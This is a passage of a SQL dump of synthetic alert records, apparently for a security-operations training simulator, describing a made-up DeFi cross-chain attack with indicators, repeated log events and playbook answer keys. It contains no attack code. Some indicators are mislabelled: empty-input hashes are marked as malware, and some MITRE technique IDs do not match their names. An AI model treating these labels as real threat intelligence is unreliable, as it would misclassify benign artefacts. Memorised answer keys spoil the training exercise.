3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"evt-123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"transaction_id\\\":\\\"txn-987654321\\\",\\\"exfiltrated_amount\\\":325000000,\\\"proposed_bounty\\\":10000000,\\\"exfil_method\\\":\\\"http\\\",\\\"malware_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"exploit_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.696Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"evt-123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"transaction_id\\\":\\\"txn-987654321\\\",\\\"exfiltrated_amount\\\":325000000,\\\"proposed_bounty\\\":10000000,\\\"exfil_method\\\":\\\"http\\\",\\\"malware_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"exploit_script.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1003, 'Suspicious Cross-Chain Transaction Detected', 'high', 'Blockchain Transaction Monitor', 'An advanced attacker initiated a complex cross-chain transaction exploiting a vulnerability to gain initial access to the DeFi platform\'s financial ecosystem. The transaction was traced back to a known malicious IP address and included a suspicious hash indicating potential malware involvement.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"transaction_id\":\"0xabc123def456ghi789jkl000\",\"source_ip\":\"185.199.108.153\",\"destination_ip\":\"10.0.5.23\",\"origin_chain\":\"Ethereum\",\"destination_chain\":\"Binance Smart Chain\",\"transaction_amount\":\"5 ETH\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"user\":\"mal_user\",\"vulnerability_exploited\":\"Cross-chain smart contract vulnerability\",\"timestamp\":\"2023-10-15T14:48:00Z\"}', '2026-01-17 03:47:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Cyber Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with multiple DeFi platform attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash related to malware used in financial ecosystem breaches.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected DeFi platform.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"mal_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"DeFi User Database\",\"verdict\":\"suspicious\",\"details\":\"Username associated with unauthorized access attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.697Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc123def456ghi789jkl000\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"origin_chain\\\":\\\"Ethereum\\\",\\\"destination_chain\\\":\\\"Binance Smart Chain\\\",\\\"transaction_amount\\\":\\\"5 ETH\\\",\\\"hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"mal_user\\\",\\\"vulnerability_exploited\\\":\\\"Cross-chain smart contract vulnerability\\\",\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.697Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc123def456ghi789jkl000\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"origin_chain\\\":\\\"Ethereum\\\",\\\"destination_chain\\\":\\\"Binance Smart Chain\\\",\\\"transaction_amount\\\":\\\"5 ETH\\\",\\\"hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"mal_user\\\",\\\"vulnerability_exploited\\\":\\\"Cross-chain smart contract vulnerability\\\",\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.697Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc123def456ghi789jkl000\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"origin_chain\\\":\\\"Ethereum\\\",\\\"destination_chain\\\":\\\"Binance Smart Chain\\\",\\\"transaction_amount\\\":\\\"5 ETH\\\",\\\"hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"mal_user\\\",\\\"vulnerability_exploited\\\":\\\"Cross-chain smart contract vulnerability\\\",\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.697Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc123def456ghi789jkl000\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"origin_chain\\\":\\\"Ethereum\\\",\\\"destination_chain\\\":\\\"Binance Smart Chain\\\",\\\"transaction_amount\\\":\\\"5 ETH\\\",\\\"hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"mal_user\\\",\\\"vulnerability_exploited\\\":\\\"Cross-chain smart contract vulnerability\\\",\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.697Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc123def456ghi789jkl000\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"origin_chain\\\":\\\"Ethereum\\\",\\\"destination_chain\\\":\\\"Binance Smart Chain\\\",\\\"transaction_amount\\\":\\\"5 ETH\\\",\\\"hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"mal_user\\\",\\\"vulnerability_exploited\\\":\\\"Cross-chain smart contract vulnerability\\\",\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1004, 'Exploitation of Cross-Chain Vulnerability', 'critical', 'DeFi Platform Logs', 'Using sophisticated techniques, the attacker manipulates the cross-chain transaction protocols, executing unauthorized transactions that begin to siphon funds.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-24T14:32:45Z\",\"event_id\":\"123456789\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.1.2.3\",\"transaction_id\":\"tx_987654321\",\"user\":\"eth_user_007\",\"malicious_script\":\"cross_chain_exploit.sh\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"alert\":{\"name\":\"Unauthorized Cross-Chain Transaction\",\"type\":\"Execution\",\"severity\":\"Critical\"}}', '2026-01-17 03:47:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT campaigns targeting DeFi platforms.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected node.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"cross_chain_exploit.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"Script used in exploitation of cross-chain vulnerabilities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with exploit toolkit.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.699Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.2.3\\\",\\\"transaction_id\\\":\\\"tx_987654321\\\",\\\"user\\\":\\\"eth_user_007\\\",\\\"malicious_script\\\":\\\"cross_chain_exploit.sh\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert\\\":{\\\"name\\\":\\\"Unauthorized Cross-Chain Transaction\\\",\\\"type\\\":\\\"Execution\\\",\\\"severity\\\":\\\"Critical\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.699Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.2.3\\\",\\\"transaction_id\\\":\\\"tx_987654321\\\",\\\"user\\\":\\\"eth_user_007\\\",\\\"malicious_script\\\":\\\"cross_chain_exploit.sh\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert\\\":{\\\"name\\\":\\\"Unauthorized Cross-Chain Transaction\\\",\\\"type\\\":\\\"Execution\\\",\\\"severity\\\":\\\"Critical\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.699Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.2.3\\\",\\\"transaction_id\\\":\\\"tx_987654321\\\",\\\"user\\\":\\\"eth_user_007\\\",\\\"malicious_script\\\":\\\"cross_chain_exploit.sh\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert\\\":{\\\"name\\\":\\\"Unauthorized Cross-Chain Transaction\\\",\\\"type\\\":\\\"Execution\\\",\\\"severity\\\":\\\"Critical\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.699Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.2.3\\\",\\\"transaction_id\\\":\\\"tx_987654321\\\",\\\"user\\\":\\\"eth_user_007\\\",\\\"malicious_script\\\":\\\"cross_chain_exploit.sh\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert\\\":{\\\"name\\\":\\\"Unauthorized Cross-Chain Transaction\\\",\\\"type\\\":\\\"Execution\\\",\\\"severity\\\":\\\"Critical\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.699Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.2.3\\\",\\\"transaction_id\\\":\\\"tx_987654321\\\",\\\"user\\\":\\\"eth_user_007\\\",\\\"malicious_script\\\":\\\"cross_chain_exploit.sh\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert\\\":{\\\"name\\\":\\\"Unauthorized Cross-Chain Transaction\\\",\\\"type\\\":\\\"Execution\\\",\\\"severity\\\":\\\"Critical\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1005, 'Establishment of Persistence through Smart Contracts', 'high', 'Smart Contract Analysis', 'An attacker has embedded malicious smart contracts to maintain persistent access to the network. These contracts are designed to bypass security measures and facilitate ongoing unauthorized transactions. Advanced techniques were employed to obfuscate the malicious code within the blockchain.', 'Persistence', 'T1543.005 - Implant Internal Image - Container Orchestration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:45:30Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"malicious_contract_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"contract_name\":\"EternalAccess.sol\",\"attacker_username\":\"contract_deployer\",\"detected_by\":\"Smart Contract Analysis Tool v2.7\",\"event_id\":\"SC-20231001-003\"}', '2026-01-17 03:47:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple blockchain-related attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host associated with the deployment of the malicious contract.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Blockchain Security Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash of the malicious smart contract used to maintain persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"EternalAccess.sol\",\"is_critical\":true,\"osint_result\":{\"source\":\"Smart Contract Repository\",\"verdict\":\"malicious\",\"details\":\"Smart contract file designed to maintain unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.701Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:30Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_contract_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"contract_name\\\":\\\"EternalAccess.sol\\\",\\\"attacker_username\\\":\\\"contract_deployer\\\",\\\"detected_by\\\":\\\"Smart Contract Analysis Tool v2.7\\\",\\\"event_id\\\":\\\"SC-20231001-003\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.701Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:30Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_contract_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"contract_name\\\":\\\"EternalAccess.sol\\\",\\\"attacker_username\\\":\\\"contract_deployer\\\",\\\"detected_by\\\":\\\"Smart Contract Analysis Tool v2.7\\\",\\\"event_id\\\":\\\"SC-20231001-003\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.701Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:30Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_contract_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"contract_name\\\":\\\"EternalAccess.sol\\\",\\\"attacker_username\\\":\\\"contract_deployer\\\",\\\"detected_by\\\":\\\"Smart Contract Analysis Tool v2.7\\\",\\\"event_id\\\":\\\"SC-20231001-003\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.701Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:30Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_contract_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"contract_name\\\":\\\"EternalAccess.sol\\\",\\\"attacker_username\\\":\\\"contract_deployer\\\",\\\"detected_by\\\":\\\"Smart Contract Analysis Tool v2.7\\\",\\\"event_id\\\":\\\"SC-20231001-003\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.701Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:30Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_contract_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"contract_name\\\":\\\"EternalAccess.sol\\\",\\\"attacker_username\\\":\\\"contract_deployer\\\",\\\"detected_by\\\":\\\"Smart Contract Analysis Tool v2.7\\\",\\\"event_id\\\":\\\"SC-20231001-003\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1006, 'Lateral Movement Across Blockchain Networks', 'high', 'Network Flow Analysis', 'An advanced attacker is leveraging the interconnected nature of blockchain networks to move laterally, obscuring their trail and maximizing the impact of their exploit. The attacker has been detected moving from an internal blockchain node to an external node using known malicious IPs and hashes.', 'Lateral Movement', 'T1080 (Taint Shared Content)', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:47Z\",\"source_ip\":\"10.0.15.23\",\"destination_ip\":\"45.76.112.99\",\"malicious_ip\":\"192.168.1.10\",\"username\":\"blockchain_admin\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_type\":\"lateral_movement\",\"filename\":\"blockchain_data_transfer.exe\",\"protocol\":\"TCP\",\"port\":8333}', '2026-01-17 03:47:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.112.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to a known blockchain-targeted malware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"blockchain_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate internal user account.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"blockchain_data_transfer.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual executable used for data transfer detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1007, 'Massive Fund Exfiltration Detected', 'critical', 'Financial Transaction Alerts', 'A large-scale fund transfer is detected, as the attacker exfiltrates $610 million from the platform, triggering financial transaction alerts.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T03:45:12Z\",\"event_type\":\"transaction_alert\",\"platform\":\"DeFiPlatformX\",\"transaction_id\":\"tx1234567890\",\"source_ip\":\"10.23.45.67\",\"destination_ip\":\"185.123.45.67\",\"amount_usd\":\"610000000\",\"user_account\":\"attacker_account_123\",\"malware_hash\":\"3b5d5c3712955042212316173ccf37be\",\"file_name\":\"exfiltration_script.py\",\"status\":\"completed\"}', '2026-01-17 03:47:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.23.45.67\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP involved in previous exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b5d5c3712955042212316173ccf37be\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known exfiltration malware used by APT groups.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"exfiltration_script.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"file analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to automate fund transfers.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"attacker_account_123\",\"is_critical\":true,\"osint_result\":{\"source\":\"account review\",\"verdict\":\"suspicious\",\"details\":\"Account involved in unauthorized large fund transfers.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.704Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_type\\\":\\\"transaction_alert\\\",\\\"platform\\\":\\\"DeFiPlatformX\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"source_ip\\\":\\\"10.23.45.67\\\",\\\"destination_ip\\\":\\\"185.123.45.67\\\",\\\"amount_usd\\\":\\\"610000000\\\",\\\"user_account\\\":\\\"attacker_account_123\\\",\\\"malware_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"file_name\\\":\\\"exfiltration_script.py\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.704Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_type\\\":\\\"transaction_alert\\\",\\\"platform\\\":\\\"DeFiPlatformX\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"source_ip\\\":\\\"10.23.45.67\\\",\\\"destination_ip\\\":\\\"185.123.45.67\\\",\\\"amount_usd\\\":\\\"610000000\\\",\\\"user_account\\\":\\\"attacker_account_123\\\",\\\"malware_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"file_name\\\":\\\"exfiltration_script.py\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.704Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_type\\\":\\\"transaction_alert\\\",\\\"platform\\\":\\\"DeFiPlatformX\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"source_ip\\\":\\\"10.23.45.67\\\",\\\"destination_ip\\\":\\\"185.123.45.67\\\",\\\"amount_usd\\\":\\\"610000000\\\",\\\"user_account\\\":\\\"attacker_account_123\\\",\\\"malware_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"file_name\\\":\\\"exfiltration_script.py\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.704Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 